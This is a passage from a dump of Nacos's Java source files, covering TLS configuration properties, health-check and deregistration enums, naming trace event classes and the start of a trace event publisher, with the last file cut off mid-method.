    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.tls;\n\n/**\n * tls system config.\n *\n * @author wangwei\n */\npublic final class TlsSystemConfig {\n    \n    public static final String TLS_TEST_MODE_ENABLE = \"tls.test\";\n    \n    public static final String TLS_ENABLE = \"tls.enable\";\n    \n    public static final String CLIENT_AUTH = \"tls.client.authServer\";\n    \n    public static final String CLIENT_KEYPATH = \"tls.client.keyPath\";\n    \n    public static final String CLIENT_KEYPASSWORD = \"tls.client.keyPassword\";\n    \n    public static final String CLIENT_CERTPATH = \"tls.client.certPath\";\n    \n    public static final String CLIENT_TRUST_CERT = \"tls.client.trustCertPath\";\n    \n    public static final String SERVER_AUTH = \"tls.server.authClient\";\n    \n    public static final String SERVER_KEYPATH = \"tls.server.keyPath\";\n    \n    public static final String SERVER_KEYPASSWORD = \"tls.server.keyPassword\";\n    \n    public static final String SERVER_CERTPATH = \"tls.server.certPath\";\n    \n    public static final String SERVER_TRUST_CERT = \"tls.server.trustCertPath\";\n    \n    public static final String CHECK_INTERVAL = \"checkIntervalTlsFile\";\n    \n    /**\n     * To determine whether use SSL in client-side.\n     */\n    public static boolean tlsEnable = Boolean.parseBoolean(System.getProperty(TLS_ENABLE, \"false\"));\n    \n    /**\n     * To determine whether use test mode when initialize TLS context.\n     */\n    public static boolean tlsTestModeEnable = Boolean.parseBoolean(System.getProperty(TLS_TEST_MODE_ENABLE, \"false\"));\n    \n    /**\n     * To determine whether verify the server endpoint's certificate strictly.\n     */\n    public static boolean tlsClientAuthServer = Boolean.parseBoolean(System.getProperty(CLIENT_AUTH, \"false\"));\n    \n    /**\n     * To determine whether verify the client endpoint's certificate strictly.\n     */\n    public static boolean tlsServerAuthClient = Boolean.parseBoolean(System.getProperty(SERVER_AUTH, \"false\"));\n    \n    /**\n     * The store path of client-side private key.\n     */\n    public static String tlsClientKeyPath = System.getProperty(CLIENT_KEYPATH, null);\n    \n    /**\n     * The password of the client-side private key.\n     */\n    public static String tlsClientKeyPassword = System.getProperty(CLIENT_KEYPASSWORD, null);\n    \n    /**\n     * The store path of client-side X.509 certificate chain in PEM format.\n     */\n    public static String tlsClientCertPath = System.getProperty(CLIENT_CERTPATH, null);\n    \n    /**\n     * The store path of trusted certificates for verifying the server endpoint's certificate.\n     */\n    public static String tlsClientTrustCertPath = System.getProperty(CLIENT_TRUST_CERT, null);\n    \n    /**\n     * The store path of server-side private key.\n     */\n    public static String tlsServerKeyPath = System.getProperty(SERVER_KEYPATH, null);\n    \n    /**\n     * The  password of the server-side private key.\n     */\n    public static String tlsServerKeyPassword = System.getProperty(SERVER_KEYPASSWORD, null);\n    \n    /**\n     * The store path of server-side X.509 certificate chain in PEM format.\n     */\n    public static String tlsServerCertPath = System.getProperty(SERVER_CERTPATH, null);\n    \n    /**\n     * The store path of trusted certificates for verifying the client endpoint's certificate.\n     */\n    public static String tlsServerTrustCertPath = System.getProperty(SERVER_TRUST_CERT, null);\n    \n    /**\n     * tls file check interval , default is 10 min.\n     */\n    public static int tlsFileCheckInterval = Integer.parseInt(System.getProperty(CHECK_INTERVAL, \"10\"));\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/DeregisterInstanceReason.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace;\n\n/**\n * The reasons of deregister instance.\n *\n * @author yanda\n */\npublic enum DeregisterInstanceReason {\n    /**\n     * client initiates request.\n     */\n    REQUEST,\n    /**\n     * Instance native disconnected.\n     */\n    NATIVE_DISCONNECTED,\n    /**\n     * Instance synced disconnected.\n     */\n    SYNCED_DISCONNECTED,\n    /**\n     * Instance heart beat timeout expire.\n     */\n    HEARTBEAT_EXPIRE,\n   \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/HealthCheckType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace;\n\n/**\n * The types of health check.\n *\n * @author yanda\n */\npublic enum HealthCheckType {\n    /**\n     * Instance heart beat timeout.\n     */\n    CLIENT_BEAT(\"client_beat\"),\n    /**\n     * Http health check.\n     */\n    HTTP_HEALTH_CHECK(\"http\"),\n    /**\n     * Mysql health check.\n     */\n    MYSQL_HEALTH_CHECK(\"mysql\"),\n    /**\n     * Tcp super sense health check .\n     */\n    TCP_SUPER_SENSE(\"tcp\");\n    \n    private String prefix;\n    \n    HealthCheckType(String prefix) {\n        this.prefix = prefix;\n    }\n    \n    public String getPrefix() {\n        return prefix;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/TraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Trace event.\n *\n * @author yanda\n */\npublic class TraceEvent extends Event {\n    \n    private static final long serialVersionUID = -3065900892505697062L;\n    \n    private final String type;\n    \n    private final long eventTime;\n    \n    private final String namespace;\n    \n    private final String group;\n    \n    private final String name;\n    \n    public String getType() {\n        return type;\n    }\n    \n    public long getEventTime() {\n        return eventTime;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public TraceEvent(String eventType, long eventTime, String namespace, String group, String name) {\n        this.type = eventType;\n        this.eventTime = eventTime;\n        this.namespace = namespace;\n        this.group = group;\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/BatchRegisterInstanceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming register instance trace event.\n *\n * @author xiweng.yy\n */\npublic class BatchRegisterInstanceTraceEvent extends RegisterInstanceTraceEvent {\n    \n    public BatchRegisterInstanceTraceEvent(long eventTime, String clientIp, boolean rpc, String serviceNamespace,\n            String serviceGroup, String serviceName, String instanceIp, int instancePort) {\n        super(\"BATCH_REGISTER_INSTANCE_TRACE_EVENT\", eventTime, clientIp, rpc, serviceNamespace, serviceGroup,\n                serviceName, instanceIp, instancePort);\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/DeregisterInstanceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport com.alibaba.nacos.common.trace.DeregisterInstanceReason;\n\n/**\n * Naming deregister instance trace event.\n *\n * @author yanda\n */\npublic class DeregisterInstanceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = 3850573686472190256L;\n    \n    private final String clientIp;\n    \n    private final boolean rpc;\n    \n    private final String instanceIp;\n    \n    private final int instancePort;\n    \n    public final DeregisterInstanceReason reason;\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public boolean isRpc() {\n        return rpc;\n    }\n    \n    public String getInstanceIp() {\n        return instanceIp;\n    }\n    \n    public int getInstancePort() {\n        return instancePort;\n    }\n    \n    public String toInetAddr() {\n        return instanceIp + \":\" + instancePort;\n    }\n    \n    public DeregisterInstanceReason getReason() {\n        return reason;\n    }\n    \n    public DeregisterInstanceTraceEvent(long eventTime, String clientIp, boolean rpc, DeregisterInstanceReason reason,\n            String serviceNamespace, String serviceGroup, String serviceName, String instanceIp, int instancePort) {\n        super(\"DEREGISTER_INSTANCE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.clientIp = clientIp;\n        this.reason = reason;\n        this.rpc = rpc;\n        this.instanceIp = instanceIp;\n        this.instancePort = instancePort;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/DeregisterServiceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming deregister service trace event.\n *\n * @author yanda\n */\npublic class DeregisterServiceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = 7358195336881398548L;\n    \n    public DeregisterServiceTraceEvent(long eventTime, String serviceNamespace, String serviceGroup,\n            String serviceName) {\n        super(\"DEREGISTER_SERVICE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/HealthStateChangeTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport com.alibaba.nacos.common.trace.HealthCheckType;\n\n/**\n * Naming instance health state change trace event.\n *\n * @author yanda\n */\npublic class HealthStateChangeTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = 6966396191118694597L;\n    \n    private final String instanceIp;\n    \n    private final int instancePort;\n    \n    private final boolean isHealthy;\n    \n    private final HealthCheckType healthCheckType;\n    \n    private final String healthStateChangeReason;\n    \n    public String getInstanceIp() {\n        return instanceIp;\n    }\n    \n    public int getInstancePort() {\n        return instancePort;\n    }\n    \n    public String toInetAddr() {\n        return instanceIp + \":\" + instancePort;\n    }\n    \n    public boolean isHealthy() {\n        return isHealthy;\n    }\n    \n    public HealthCheckType getHealthCheckType() {\n        return healthCheckType;\n    }\n    \n    public String getHealthStateChangeReason() {\n        return healthStateChangeReason;\n    }\n    \n    public HealthStateChangeTraceEvent(long eventTime, String serviceNamespace, String serviceGroup, String serviceName,\n            String instanceIp, int instancePort, boolean isHealthy, String healthStateChangeReason) {\n        super(\"HEALTH_STATE_CHANGE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.instanceIp = instanceIp;\n        this.instancePort = instancePort;\n        this.isHealthy = isHealthy;\n        this.healthCheckType = getHealthCheckTypeFromReason(healthStateChangeReason);\n        this.healthStateChangeReason = healthStateChangeReason;\n    }\n    \n    public HealthCheckType getHealthCheckTypeFromReason(String reason) {\n        if (reason.startsWith(HealthCheckType.HTTP_HEALTH_CHECK.getPrefix())) {\n            return HealthCheckType.HTTP_HEALTH_CHECK;\n        } else if (reason.startsWith(HealthCheckType.TCP_SUPER_SENSE.getPrefix())) {\n            return HealthCheckType.TCP_SUPER_SENSE;\n        } else if (reason.startsWith(HealthCheckType.MYSQL_HEALTH_CHECK.getPrefix())) {\n            return HealthCheckType.MYSQL_HEALTH_CHECK;\n        }\n        return HealthCheckType.CLIENT_BEAT;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/NamingTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport com.alibaba.nacos.common.trace.event.TraceEvent;\n\n/**\n * Naming trace event.\n *\n * @author yanda\n */\npublic class NamingTraceEvent extends TraceEvent {\n    \n    private static final long serialVersionUID = 2923077640400851816L;\n    \n    public NamingTraceEvent(String eventType, long eventTime, String serviceNamespace, String serviceGroup,\n            String name) {\n        super(eventType, eventTime, serviceNamespace, serviceGroup, name);\n    }\n    \n    @Override\n    public boolean isPluginEvent() {\n        return true;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/PushServiceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming push service trace event.\n *\n * @author yanda\n */\npublic class PushServiceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = 787915741281241877L;\n    \n    private final String clientIp;\n    \n    private final int instanceSize;\n    \n    private final long pushCostTimeForNetWork;\n    \n    private final long pushCostTimeForAll;\n    \n    private final long serviceLevelAgreementTime;\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public int getInstanceSize() {\n        return instanceSize;\n    }\n    \n    public long getPushCostTimeForNetWork() {\n        return pushCostTimeForNetWork;\n    }\n    \n    public long getPushCostTimeForAll() {\n        return pushCostTimeForAll;\n    }\n    \n    public long getServiceLevelAgreementTime() {\n        return serviceLevelAgreementTime;\n    }\n    \n    public PushServiceTraceEvent(long eventTime, long pushCostTimeForNetWork, long pushCostTimeForAll,\n            long serviceLevelAgreementTime, String clientIp, String serviceNamespace, String serviceGroup,\n            String serviceName, int instanceSize) {\n        super(\"PUSH_SERVICE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.clientIp = clientIp;\n        this.instanceSize = instanceSize;\n        this.pushCostTimeForAll = pushCostTimeForAll;\n        this.pushCostTimeForNetWork = pushCostTimeForNetWork;\n        this.serviceLevelAgreementTime = serviceLevelAgreementTime;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/RegisterInstanceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming register instance trace event.\n *\n * @author yanda\n */\npublic class RegisterInstanceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = -8283438151444483864L;\n    \n    private final String clientIp;\n    \n    private final boolean rpc;\n    \n    private final String instanceIp;\n    \n    private final int instancePort;\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public boolean isRpc() {\n        return rpc;\n    }\n    \n    public String getInstanceIp() {\n        return instanceIp;\n    }\n    \n    public int getInstancePort() {\n        return instancePort;\n    }\n    \n    public String toInetAddr() {\n        return instanceIp + \":\" + instancePort;\n    }\n    \n    public RegisterInstanceTraceEvent(long eventTime, String clientIp, boolean rpc, String serviceNamespace,\n            String serviceGroup, String serviceName, String instanceIp, int instancePort) {\n        this(\"REGISTER_INSTANCE_TRACE_EVENT\", eventTime, clientIp, rpc, serviceNamespace, serviceGroup, serviceName,\n                instanceIp, instancePort);\n    }\n    \n    public RegisterInstanceTraceEvent(String eventType, long eventTime, String clientIp, boolean rpc,\n            String serviceNamespace, String serviceGroup, String serviceName, String instanceIp, int instancePort) {\n        super(eventType, eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.clientIp = clientIp;\n        this.rpc = rpc;\n        this.instanceIp = instanceIp;\n        this.instancePort = instancePort;\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/RegisterServiceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming deregister service trace event.\n *\n * @author yanda\n */\npublic class RegisterServiceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = -8568231862586636388L;\n    \n    public RegisterServiceTraceEvent(long eventTime, String serviceNamespace, String serviceGroup, String serviceName) {\n        super(\"REGISTER_SERVICE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/SubscribeServiceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming subscribe service trace event.\n *\n * @author yanda\n */\npublic class SubscribeServiceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = -8856834879168816801L;\n    \n    private final String clientIp;\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public SubscribeServiceTraceEvent(long eventTime, String clientIp, String serviceNamespace, String serviceGroup,\n            String serviceName) {\n        super(\"SUBSCRIBE_SERVICE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.clientIp = clientIp;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/UnsubscribeServiceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\n/**\n * Naming unsubscribe service trace event.\n *\n * @author yanda\n */\npublic class UnsubscribeServiceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = -7461808613817897106L;\n    \n    private final String clientIp;\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public UnsubscribeServiceTraceEvent(long eventTime, String clientIp, String serviceNamespace, String serviceGroup,\n            String serviceName) {\n        super(\"UNSUBSCRIBE_SERVICE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.clientIp = clientIp;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/UpdateInstanceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport java.util.Map;\n\n/**\n * Naming update instance trace event.\n *\n * @author stone-98\n * @date 2023/8/31\n */\npublic class UpdateInstanceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = -6995370254824508523L;\n    \n    private final Map<String, String> metadata;\n    \n    private final String clientIp;\n    \n    private final String instanceIp;\n    \n    private final int instancePort;\n    \n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    public String getInstanceIp() {\n        return instanceIp;\n    }\n    \n    public int getInstancePort() {\n        return instancePort;\n    }\n    \n    public String toInetAddr() {\n        return instanceIp + \":\" + instancePort;\n    }\n    \n    public UpdateInstanceTraceEvent(long eventTime, String clientIp, String serviceNamespace, String serviceGroup,\n            String serviceName, String instanceIp, int instancePort, Map<String, String> metadata) {\n        super(\"UPDATE_INSTANCE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.clientIp = clientIp;\n        this.instanceIp = instanceIp;\n        this.instancePort = instancePort;\n        this.metadata = metadata;\n    }\n    \n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/event/naming/UpdateServiceTraceEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.event.naming;\n\nimport java.util.Map;\n\n/**\n * Naming update service trace event.\n *\n * @author stone-98\n * @date 2023/8/31\n */\npublic class UpdateServiceTraceEvent extends NamingTraceEvent {\n    \n    private static final long serialVersionUID = -6792054530665003857L;\n    \n    private final Map<String, String> metadata;\n    \n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    public UpdateServiceTraceEvent(long eventTime, String serviceNamespace, String serviceGroup, String serviceName,\n            Map<String, String> metadata) {\n        super(\"UPDATE_SERVICE_TRACE_EVENT\", eventTime, serviceNamespace, serviceGroup, serviceName);\n        this.metadata = metadata;\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/trace/publisher/TraceEventPublisher.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.publisher;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.ShardedEventPublisher;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.Executor;\n\n/**\n * Event publisher for trace event.\n *\n * @author yanda\n */\npublic class TraceEventPublisher extends Thread implements ShardedEventPublisher {\n\n    private static final String THREAD_NAME = \"trace.publisher-\";\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(\"com.alibaba.nacos.common.trace.publisher\");\n\n    private static final int DEFAULT_WAIT_TIME = 60;\n\n    private final Map<Class<? extends Event>, Set<Subscriber<? extends Event>>> subscribes = new ConcurrentHashMap<>();\n\n    private volatile boolean initialized = false;\n\n    private volatile boolean shutdown = false;\n\n    private int queueMaxSize = -1;\n\n    private BlockingQueue<Event> queue;\n\n    private String publisherName;\n\n    @Override\n    public void init(Class<? extends Event> type, int bufferSize) {\n        this.queueMaxSize = bufferSize;\n        this.queue = new ArrayBlockingQueue<>(bufferSize);\n        this.publisherName = type.getSimpleName();\n        super.setName(THREAD_NAME + this.publisherName);\n        super.setDaemon(true);\n        super.start();\n        initialized = true;\n    }\n\n    @Override\n    public long currentEventSize() {\n        return this.queue.size();\n    }\n\n    @Override\n    public void addSubscriber(Subscriber subscriber) {\n        addSubscriber(subscriber, subscriber.subscribeType());\n    }\n\n    @Override\n    public void addSubscriber(Subscriber subscriber, Class<? extends Event> subscribeType) {\n        subscribes.computeIfAbsent(subscribeType, inputType -> new ConcurrentHashSet<>()).add(subscriber);\n    }\n\n    @Override\n    public void removeSubscriber(Subscriber subscriber) {\n        removeSubscriber(subscriber, subscriber.subscribeType());\n    }\n\n    @Override\n    public void removeSubscriber(Subscriber subscriber, Class<? extends Event> subscribeType) {\n        subscribes.computeIfPresent(subscribeType, (inputType, subscribers) -> {\n            subscribers.remove(subscriber);\n            return subscribers.isEmpty() ? null : subscribers;\n        });\n    }\n\n    @Override\n    public boolean publish(Event event) {\n        checkIsStart();\n        boolean success = this.queue.offer(event);\n        if (!success) {\n            LOGGER.warn(\"Trace Event Publish failed, event : {}, publish queue size : {}\", event, currentEventSize());\n        }\n        return true;\n    }\n\n    @Override\n    public void notifySubscriber(Subscriber subscriber, Event event) {\n        if (LOGGER.isDebugEnabled()) {\n            LOGGER.debug(\"[NotifyCenter] the {} will received by {}\", event, subscriber);\n        }\n        final Runnable job = () -> subscriber.onEvent(event);\n        final Executor executor = subscriber.executor();\n        if (executor != null) {\n            executor.execute(job);\n        } else {\n            try {\n                job.run();\n            } catch (Throwable e) {\n                LOGGER.error(\"Event callback exception: \", e);\n            }\n        }\n    }\n\n    @Override\n    public void shutdown() throws NacosException {\n        this.shutdown = true;\n        this.queue.clear();\n    }\n\n    @Override\n    public void run() {\n        try {\n            waitSubscriberForInit();\n            handleEvents();\n        } catch (Exception 